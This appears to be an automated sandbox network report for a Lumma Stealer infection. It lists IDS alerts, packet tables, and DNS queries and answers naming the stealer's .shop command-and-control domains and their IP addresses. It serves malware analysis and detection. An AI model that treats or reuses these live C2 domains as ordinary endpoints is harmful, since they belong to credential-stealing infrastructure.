2024-09-26T09:52:08.769507+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	58441	188.114.97.3	443	TCP
2024-09-26T09:52:08.773382+0200	2056160	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop)	1	192.168.2.4	60842	1.1.1.1	53	UDP
2024-09-26T09:52:09.259590+0200	2056161	ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI)	1	192.168.2.4	58442	188.114.96.3	443	TCP
2024-09-26T09:52:09.681716+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	58442	188.114.96.3	443	TCP
2024-09-26T09:52:09.681716+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	58442	188.114.96.3	443	TCP
2024-09-26T09:52:09.685196+0200	2056158	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop)	1	192.168.2.4	55892	1.1.1.1	53	UDP
2024-09-26T09:52:10.172268+0200	2056159	ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI)	1	192.168.2.4	58443	188.114.96.3	443	TCP
2024-09-26T09:52:10.618108+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	58443	188.114.96.3	443	TCP
2024-09-26T09:52:10.618108+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	58443	188.114.96.3	443	TCP
2024-09-26T09:52:10.620207+0200	2056156	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop)	1	192.168.2.4	64598	1.1.1.1	53	UDP
2024-09-26T09:52:11.097484+0200	2056157	ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)	1	192.168.2.4	58444	104.21.58.182	443	TCP
2024-09-26T09:52:11.567762+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	58444	104.21.58.182	443	TCP
2024-09-26T09:52:11.567762+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	58444	104.21.58.182	443	TCP
2024-09-26T09:52:11.569455+0200	2056154	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop)	1	192.168.2.4	53726	1.1.1.1	53	UDP
2024-09-26T09:52:12.055505+0200	2056155	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI)	1	192.168.2.4	58445	188.114.97.3	443	TCP
2024-09-26T09:52:12.512577+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	58445	188.114.97.3	443	TCP
2024-09-26T09:52:12.512577+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	58445	188.114.97.3	443	TCP
2024-09-26T09:52:12.513950+0200	2056152	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop)	1	192.168.2.4	53338	1.1.1.1	53	UDP
2024-09-26T09:52:12.996046+0200	2056153	ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI)	1	192.168.2.4	58446	188.114.96.3	443	TCP
2024-09-26T09:52:13.467807+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	58446	188.114.96.3	443	TCP
2024-09-26T09:52:13.467807+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	58446	188.114.96.3	443	TCP
2024-09-26T09:52:13.469353+0200	2056150	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop)	1	192.168.2.4	64447	1.1.1.1	53	UDP
2024-09-26T09:52:13.943312+0200	2056151	ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI)	1	192.168.2.4	58447	104.21.77.130	443	TCP
2024-09-26T09:52:14.417603+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	58447	104.21.77.130	443	TCP
2024-09-26T09:52:14.417603+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	58447	104.21.77.130	443	TCP
2024-09-26T09:52:16.841999+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	58449	172.67.189.2	443	TCP
2024-09-26T09:52:16.841999+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	58449	172.67.189.2	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 09:52:06.739407063 CEST	58440	443	192.168.2.4	104.21.4.136
Sep 26, 2024 09:52:06.739514112 CEST	443	58440	104.21.4.136	192.168.2.4
Sep 26, 2024 09:52:06.739604950 CEST	58440	443	192.168.2.4	104.21.4.136
Sep 26, 2024 09:52:06.743361950 CEST	58440	443	192.168.2.4	104.21.4.136
Sep 26, 2024 09:52:06.743416071 CEST	443	58440	104.21.4.136	192.168.2.4
Sep 26, 2024 09:52:07.234314919 CEST	443	58440	104.21.4.136	192.168.2.4
Sep 26, 2024 09:52:07.234560013 CEST	58440	443	192.168.2.4	104.21.4.136
Sep 26, 2024 09:52:07.237685919 CEST	58440	443	192.168.2.4	104.21.4.136
Sep 26, 2024 09:52:07.237703085 CEST	443	58440	104.21.4.136	192.168.2.4
Sep 26, 2024 09:52:07.237987041 CEST	443	58440	104.21.4.136	192.168.2.4
Sep 26, 2024 09:52:07.288292885 CEST	58440	443	192.168.2.4	104.21.4.136
Sep 26, 2024 09:52:07.295239925 CEST	58440	443	192.168.2.4	104.21.4.136
Sep 26, 2024 09:52:07.295267105 CEST	58440	443	192.168.2.4	104.21.4.136
Sep 26, 2024 09:52:07.295407057 CEST	443	58440	104.21.4.136	192.168.2.4
Sep 26, 2024 09:52:07.786358118 CEST	443	58440	104.21.4.136	192.168.2.4
Sep 26, 2024 09:52:07.786451101 CEST	443	58440	104.21.4.136	192.168.2.4
Sep 26, 2024 09:52:07.786500931 CEST	58440	443	192.168.2.4	104.21.4.136
Sep 26, 2024 09:52:07.788469076 CEST	58440	443	192.168.2.4	104.21.4.136
Sep 26, 2024 09:52:07.788497925 CEST	443	58440	104.21.4.136	192.168.2.4
Sep 26, 2024 09:52:07.806108952 CEST	58441	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:07.806154013 CEST	443	58441	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:07.806226015 CEST	58441	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:07.806570053 CEST	58441	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:07.806586027 CEST	443	58441	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:08.269989967 CEST	443	58441	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:08.270066023 CEST	58441	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:08.273355007 CEST	58441	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:08.273385048 CEST	443	58441	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:08.273859024 CEST	443	58441	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:08.274975061 CEST	58441	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:08.275005102 CEST	58441	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:08.275065899 CEST	443	58441	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:08.769520998 CEST	443	58441	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:08.769617081 CEST	443	58441	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:08.769783020 CEST	58441	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:08.769833088 CEST	58441	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:08.769855976 CEST	443	58441	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:08.769870043 CEST	58441	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:08.769876957 CEST	443	58441	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:08.787012100 CEST	58442	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:08.787065983 CEST	443	58442	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:08.787153959 CEST	58442	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:08.787467003 CEST	58442	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:08.787477970 CEST	443	58442	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:09.259497881 CEST	443	58442	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:09.259589911 CEST	58442	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:09.261116028 CEST	58442	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:09.261128902 CEST	443	58442	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:09.261373043 CEST	443	58442	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:09.262583971 CEST	58442	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:09.262615919 CEST	58442	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:09.262651920 CEST	443	58442	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:09.681730032 CEST	443	58442	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:09.681816101 CEST	443	58442	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:09.681873083 CEST	58442	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:09.682040930 CEST	58442	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:09.682060003 CEST	443	58442	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:09.682071924 CEST	58442	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:09.682076931 CEST	443	58442	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:09.699951887 CEST	58443	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:09.699987888 CEST	443	58443	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:09.700068951 CEST	58443	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:09.700406075 CEST	58443	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:09.700417995 CEST	443	58443	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:10.171736956 CEST	443	58443	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:10.172267914 CEST	58443	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:10.175757885 CEST	58443	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:10.175770998 CEST	443	58443	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:10.176037073 CEST	443	58443	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:10.177234888 CEST	58443	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:10.177234888 CEST	58443	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:10.177319050 CEST	443	58443	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:10.618087053 CEST	443	58443	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:10.618163109 CEST	443	58443	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:10.618208885 CEST	58443	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:10.618406057 CEST	58443	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:10.618424892 CEST	443	58443	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:10.618432045 CEST	58443	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:10.618437052 CEST	443	58443	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:10.635591030 CEST	58444	443	192.168.2.4	104.21.58.182
Sep 26, 2024 09:52:10.635704041 CEST	443	58444	104.21.58.182	192.168.2.4
Sep 26, 2024 09:52:10.635813951 CEST	58444	443	192.168.2.4	104.21.58.182
Sep 26, 2024 09:52:10.636113882 CEST	58444	443	192.168.2.4	104.21.58.182
Sep 26, 2024 09:52:10.636142969 CEST	443	58444	104.21.58.182	192.168.2.4
Sep 26, 2024 09:52:11.097271919 CEST	443	58444	104.21.58.182	192.168.2.4
Sep 26, 2024 09:52:11.097484112 CEST	58444	443	192.168.2.4	104.21.58.182
Sep 26, 2024 09:52:11.098959923 CEST	58444	443	192.168.2.4	104.21.58.182
Sep 26, 2024 09:52:11.098992109 CEST	443	58444	104.21.58.182	192.168.2.4
Sep 26, 2024 09:52:11.099246025 CEST	443	58444	104.21.58.182	192.168.2.4
Sep 26, 2024 09:52:11.100389004 CEST	58444	443	192.168.2.4	104.21.58.182
Sep 26, 2024 09:52:11.100429058 CEST	58444	443	192.168.2.4	104.21.58.182
Sep 26, 2024 09:52:11.100517988 CEST	443	58444	104.21.58.182	192.168.2.4
Sep 26, 2024 09:52:11.567774057 CEST	443	58444	104.21.58.182	192.168.2.4
Sep 26, 2024 09:52:11.567866087 CEST	443	58444	104.21.58.182	192.168.2.4
Sep 26, 2024 09:52:11.567938089 CEST	58444	443	192.168.2.4	104.21.58.182
Sep 26, 2024 09:52:11.568167925 CEST	58444	443	192.168.2.4	104.21.58.182
Sep 26, 2024 09:52:11.568197966 CEST	443	58444	104.21.58.182	192.168.2.4
Sep 26, 2024 09:52:11.568213940 CEST	58444	443	192.168.2.4	104.21.58.182
Sep 26, 2024 09:52:11.568222046 CEST	443	58444	104.21.58.182	192.168.2.4
Sep 26, 2024 09:52:11.583832026 CEST	58445	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:11.583856106 CEST	443	58445	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:11.583940029 CEST	58445	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:11.584225893 CEST	58445	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:11.584235907 CEST	443	58445	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:12.055355072 CEST	443	58445	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:12.055505037 CEST	58445	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:12.057269096 CEST	58445	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:12.057284117 CEST	443	58445	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:12.057506084 CEST	443	58445	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:12.058676958 CEST	58445	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:12.058676958 CEST	58445	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:12.058765888 CEST	443	58445	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:12.512480974 CEST	443	58445	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:12.512564898 CEST	443	58445	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:12.512732983 CEST	58445	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:12.512907028 CEST	58445	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:12.512907028 CEST	58445	443	192.168.2.4	188.114.97.3
Sep 26, 2024 09:52:12.512921095 CEST	443	58445	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:12.512926102 CEST	443	58445	188.114.97.3	192.168.2.4
Sep 26, 2024 09:52:12.529490948 CEST	58446	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:12.529534101 CEST	443	58446	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:12.529850006 CEST	58446	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:12.529902935 CEST	58446	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:12.529911041 CEST	443	58446	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:12.995942116 CEST	443	58446	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:12.996046066 CEST	58446	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:12.997726917 CEST	58446	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:12.997739077 CEST	443	58446	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:12.998158932 CEST	443	58446	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:12.999403954 CEST	58446	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:12.999425888 CEST	58446	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:12.999475002 CEST	443	58446	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:13.467782974 CEST	443	58446	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:13.467864037 CEST	443	58446	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:13.467915058 CEST	58446	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:13.468043089 CEST	58446	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:13.468060017 CEST	443	58446	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:13.468070030 CEST	58446	443	192.168.2.4	188.114.96.3
Sep 26, 2024 09:52:13.468075991 CEST	443	58446	188.114.96.3	192.168.2.4
Sep 26, 2024 09:52:13.483549118 CEST	58447	443	192.168.2.4	104.21.77.130
Sep 26, 2024 09:52:13.483597994 CEST	443	58447	104.21.77.130	192.168.2.4
Sep 26, 2024 09:52:13.483670950 CEST	58447	443	192.168.2.4	104.21.77.130
Sep 26, 2024 09:52:13.484085083 CEST	58447	443	192.168.2.4	104.21.77.130
Sep 26, 2024 09:52:13.484097004 CEST	443	58447	104.21.77.130	192.168.2.4
Sep 26, 2024 09:52:13.943201065 CEST	443	58447	104.21.77.130	192.168.2.4
Sep 26, 2024 09:52:13.943311930 CEST	58447	443	192.168.2.4	104.21.77.130
Sep 26, 2024 09:52:13.946155071 CEST	58447	443	192.168.2.4	104.21.77.130
Sep 26, 2024 09:52:13.946166992 CEST	443	58447	104.21.77.130	192.168.2.4
Sep 26, 2024 09:52:13.946417093 CEST	443	58447	104.21.77.130	192.168.2.4
Sep 26, 2024 09:52:13.947573900 CEST	58447	443	192.168.2.4	104.21.77.130
Sep 26, 2024 09:52:13.947616100 CEST	58447	443	192.168.2.4	104.21.77.130
Sep 26, 2024 09:52:13.947649002 CEST	443	58447	104.21.77.130	192.168.2.4
Sep 26, 2024 09:52:14.417603970 CEST	443	58447	104.21.77.130	192.168.2.4
Sep 26, 2024 09:52:14.417714119 CEST	443	58447	104.21.77.130	192.168.2.4
Sep 26, 2024 09:52:14.417798042 CEST	58447	443	192.168.2.4	104.21.77.130
Sep 26, 2024 09:52:14.417922020 CEST	58447	443	192.168.2.4	104.21.77.130
Sep 26, 2024 09:52:14.417973042 CEST	443	58447	104.21.77.130	192.168.2.4
Sep 26, 2024 09:52:14.418004036 CEST	58447	443	192.168.2.4	104.21.77.130
Sep 26, 2024 09:52:14.418020964 CEST	443	58447	104.21.77.130	192.168.2.4
Sep 26, 2024 09:52:14.426839113 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:14.426933050 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:14.427021980 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:14.427283049 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:14.427318096 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.081146002 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.081363916 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:15.083007097 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:15.083024979 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.083446026 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.084763050 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:15.127412081 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.598932028 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.598992109 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.599037886 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.599121094 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:15.599158049 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.599175930 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:15.599216938 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:15.890916109 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.890950918 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.890999079 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.891004086 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:15.891037941 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:15.891052008 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.891072989 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:15.891093016 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:15.891155005 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.891206980 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:15.891233921 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.891272068 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:15.891278028 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.891313076 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.891352892 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:15.891547918 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:15.891561985 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.891577959 CEST	58448	443	192.168.2.4	104.102.49.254
Sep 26, 2024 09:52:15.891582966 CEST	443	58448	104.102.49.254	192.168.2.4
Sep 26, 2024 09:52:15.909923077 CEST	58449	443	192.168.2.4	172.67.189.2
Sep 26, 2024 09:52:15.909967899 CEST	443	58449	172.67.189.2	192.168.2.4
Sep 26, 2024 09:52:15.910048008 CEST	58449	443	192.168.2.4	172.67.189.2
Sep 26, 2024 09:52:15.910383940 CEST	58449	443	192.168.2.4	172.67.189.2
Sep 26, 2024 09:52:15.910396099 CEST	443	58449	172.67.189.2	192.168.2.4
Sep 26, 2024 09:52:16.404989958 CEST	443	58449	172.67.189.2	192.168.2.4
Sep 26, 2024 09:52:16.405065060 CEST	58449	443	192.168.2.4	172.67.189.2
Sep 26, 2024 09:52:16.406891108 CEST	58449	443	192.168.2.4	172.67.189.2
Sep 26, 2024 09:52:16.406898975 CEST	443	58449	172.67.189.2	192.168.2.4
Sep 26, 2024 09:52:16.407124996 CEST	443	58449	172.67.189.2	192.168.2.4
Sep 26, 2024 09:52:16.408201933 CEST	58449	443	192.168.2.4	172.67.189.2
Sep 26, 2024 09:52:16.408235073 CEST	58449	443	192.168.2.4	172.67.189.2
Sep 26, 2024 09:52:16.408262968 CEST	443	58449	172.67.189.2	192.168.2.4
Sep 26, 2024 09:52:16.842016935 CEST	443	58449	172.67.189.2	192.168.2.4
Sep 26, 2024 09:52:16.842117071 CEST	443	58449	172.67.189.2	192.168.2.4
Sep 26, 2024 09:52:16.842195988 CEST	58449	443	192.168.2.4	172.67.189.2
Sep 26, 2024 09:52:16.842317104 CEST	58449	443	192.168.2.4	172.67.189.2
Sep 26, 2024 09:52:16.842338085 CEST	443	58449	172.67.189.2	192.168.2.4
Sep 26, 2024 09:52:16.842354059 CEST	58449	443	192.168.2.4	172.67.189.2
Sep 26, 2024 09:52:16.842359066 CEST	443	58449	172.67.189.2	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 09:52:06.643739939 CEST	63148	53	192.168.2.4	1.1.1.1
Sep 26, 2024 09:52:06.721266985 CEST	53	63148	1.1.1.1	192.168.2.4
Sep 26, 2024 09:52:06.724512100 CEST	60602	53	192.168.2.4	1.1.1.1
Sep 26, 2024 09:52:06.733890057 CEST	53	60602	1.1.1.1	192.168.2.4
Sep 26, 2024 09:52:07.792671919 CEST	52810	53	192.168.2.4	1.1.1.1
Sep 26, 2024 09:52:07.805356979 CEST	53	52810	1.1.1.1	192.168.2.4
Sep 26, 2024 09:52:08.773381948 CEST	60842	53	192.168.2.4	1.1.1.1
Sep 26, 2024 09:52:08.786127090 CEST	53	60842	1.1.1.1	192.168.2.4
Sep 26, 2024 09:52:09.685195923 CEST	55892	53	192.168.2.4	1.1.1.1
Sep 26, 2024 09:52:09.699177980 CEST	53	55892	1.1.1.1	192.168.2.4
Sep 26, 2024 09:52:10.620207071 CEST	64598	53	192.168.2.4	1.1.1.1
Sep 26, 2024 09:52:10.633261919 CEST	53	64598	1.1.1.1	192.168.2.4
Sep 26, 2024 09:52:11.569454908 CEST	53726	53	192.168.2.4	1.1.1.1
Sep 26, 2024 09:52:11.583125114 CEST	53	53726	1.1.1.1	192.168.2.4
Sep 26, 2024 09:52:12.513950109 CEST	53338	53	192.168.2.4	1.1.1.1
Sep 26, 2024 09:52:12.528748035 CEST	53	53338	1.1.1.1	192.168.2.4
Sep 26, 2024 09:52:13.469352961 CEST	64447	53	192.168.2.4	1.1.1.1
Sep 26, 2024 09:52:13.482624054 CEST	53	64447	1.1.1.1	192.168.2.4
Sep 26, 2024 09:52:14.419151068 CEST	60320	53	192.168.2.4	1.1.1.1
Sep 26, 2024 09:52:14.426199913 CEST	53	60320	1.1.1.1	192.168.2.4
Sep 26, 2024 09:52:15.894535065 CEST	51319	53	192.168.2.4	1.1.1.1
Sep 26, 2024 09:52:15.908334970 CEST	53	51319	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 26, 2024 09:52:06.643739939 CEST	192.168.2.4	1.1.1.1	0x73c6	Standard query (0)	lootebarrkeyn.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:06.724512100 CEST	192.168.2.4	1.1.1.1	0x8cea	Standard query (0)	gutterydhowi.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:07.792671919 CEST	192.168.2.4	1.1.1.1	0x68cb	Standard query (0)	ghostreedmnu.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:08.773381948 CEST	192.168.2.4	1.1.1.1	0xcd28	Standard query (0)	offensivedzvju.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:09.685195923 CEST	192.168.2.4	1.1.1.1	0xef53	Standard query (0)	vozmeatillu.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:10.620207071 CEST	192.168.2.4	1.1.1.1	0x1c9e	Standard query (0)	drawzhotdog.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:11.569454908 CEST	192.168.2.4	1.1.1.1	0xfd4f	Standard query (0)	fragnantbui.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:12.513950109 CEST	192.168.2.4	1.1.1.1	0xdc89	Standard query (0)	stogeneratmns.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:13.469352961 CEST	192.168.2.4	1.1.1.1	0xff22	Standard query (0)	reinforcenh.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:14.419151068 CEST	192.168.2.4	1.1.1.1	0x248b	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:15.894535065 CEST	192.168.2.4	1.1.1.1	0x481c	Standard query (0)	performenj.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 26, 2024 09:52:06.721266985 CEST	1.1.1.1	192.168.2.4	0x73c6	Name error (3)	lootebarrkeyn.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:06.733890057 CEST	1.1.1.1	192.168.2.4	0x8cea	No error (0)	gutterydhowi.shop		104.21.4.136	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:06.733890057 CEST	1.1.1.1	192.168.2.4	0x8cea	No error (0)	gutterydhowi.shop		172.67.132.32	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:07.805356979 CEST	1.1.1.1	192.168.2.4	0x68cb	No error (0)	ghostreedmnu.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:07.805356979 CEST	1.1.1.1	192.168.2.4	0x68cb	No error (0)	ghostreedmnu.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:08.786127090 CEST	1.1.1.1	192.168.2.4	0xcd28	No error (0)	offensivedzvju.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:08.786127090 CEST	1.1.1.1	192.168.2.4	0xcd28	No error (0)	offensivedzvju.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:09.699177980 CEST	1.1.1.1	192.168.2.4	0xef53	No error (0)	vozmeatillu.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:09.699177980 CEST	1.1.1.1	192.168.2.4	0xef53	No error (0)	vozmeatillu.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
